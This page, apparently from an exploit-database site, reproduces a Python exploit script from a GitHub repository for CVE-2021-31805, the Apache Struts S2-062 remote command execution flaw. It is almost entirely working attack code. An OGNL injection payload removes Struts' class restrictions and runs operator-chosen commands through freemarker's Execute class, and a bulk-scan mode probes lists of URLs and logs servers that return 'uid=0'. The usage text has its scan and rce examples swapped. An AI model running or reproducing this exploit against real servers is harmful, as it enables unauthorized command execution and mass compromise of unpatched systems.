Exploit databaseDownload repository ZIP
GH-c492aec47aa0e035c1838f40937d73a9
jax7sec/s2-062
Sources for CVE-2021-31805
8 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
jax7sec/s2-062Revision 3ea5a445cbf5
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2021-31805.py
Python · 6,548 bytes#Author:jax
import argparse
import requests
import urllib3
import re
urllib3.disable_warnings()
hello = '''
$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\
$$ __$$\ $$ __$$\ $$$ __$$\ $$ __$$\ $$ __$$\
$$ / \__|\__/ $$ | $$$$\ $$ |$$ / \__|\__/ $$ |
\$$$$$$\ $$$$$$ |$$$$$$\ $$\$$\$$ |$$$$$$$\ $$$$$$ |
\____$$\ $$ ____/ \______|$$ \$$$$ |$$ __$$\ $$ ____/
$$\ $$ |$$ | $$ |\$$$ |$$ / $$ |$$ |
\$$$$$$ |$$$$$$$$\ \$$$$$$ / $$$$$$ |$$$$$$$$\
\______/ \________| \______/ \______/ \________|
'''
headers = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/json',
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"
}
data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94"
def rce_exp(url , cmd):
target_url = url
#print(target_url)
try:
cmd_data = data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94".replace("exec({'id","exec({'"+cmd)
resp = requests.post(target_url ,verify=False, headers = headers, data = cmd_data, timeout=5)
resp_text = resp.text
#print(resp_text)
resp_code = resp.status_code
except requests.exceptions.RequestException:
print('[-]获取回显超时')
except:
print('[-]获取回显异常,请手动测试')
if resp_code == 200:
#print(resp_text)
cmd_resp = re.findall(r'(?<=id=")[ -_0-9A-z\.\n]+(?=" )', resp_text)
cmd_resp = str(cmd_resp).strip('[').strip(']').strip("'")
print('[+]正在执行命令:' + cmd + '\n')
print(cmd_resp.encode('utf8').decode('unicode_escape'))
if(cmd_resp == ''):
print("无回显内容,请尝试执行-c id 确认漏洞是否存在")
else:
print('[-]获取回显失败,请确认是否存在漏洞')
#批量检测漏洞
def poc(target):
print("start scaning")
f = open(target)
f = f.readlines()
for url in f:
url =url.strip('\n')
url =url.strip('/')
target_url = url
try:
resp = requests.post(target_url ,verify=False, headers = headers, data = data, timeout=5)
resp_text = resp.text
#print(resp_text)
resp_code = resp.status_code
if resp_code == 200:
#print(resp_text)
if re.search('uid=0', resp_text, flags=0) != None:
print(f'[+]{url}疑似存在漏洞')
poc_file = open('success.txt','a+')
poc_file.write(url+'\n')
poc_file.close()
else:
print(f'[-]{url}不存在漏洞')
else:
print(f'[-]{url}不存在漏洞')
except requests.exceptions.RequestException:
time_poc = f'[-]{url}漏洞检测超时'
print(time_poc)
pass
except:
continue
if __name__ == '__main__' :
print(hello)
parser = argparse.ArgumentParser(description="S2-062 OR CVE-2021-31805")
parser.add_argument('-m', '--mode', type=str, help="run mode: -m scan or rce")
parser.add_argument('-f', '--file', type=str, help="scan urls , one url per line in file")
parser.add_argument('-u', '--url', type=str, help="target url for example : https://www.qq.com")
parser.add_argument('-c', '--cmd', type=str, help="execute command: -c id or --cmd id")
args = parser.parse_args()
if args.mode == "scan" and args.file != None :
target = args.file
poc(target)
elif args.cmd != None and args.url != None:
url = args.url
cmd = args.cmd
rce_exp(url , cmd)
else:
print("scan mode: python3 CVE-2021-31805.py -u https://www.xxx.com -c id ")
print("rce mode: python3 CVE-2021-31805.py -m scan -f 123.txt")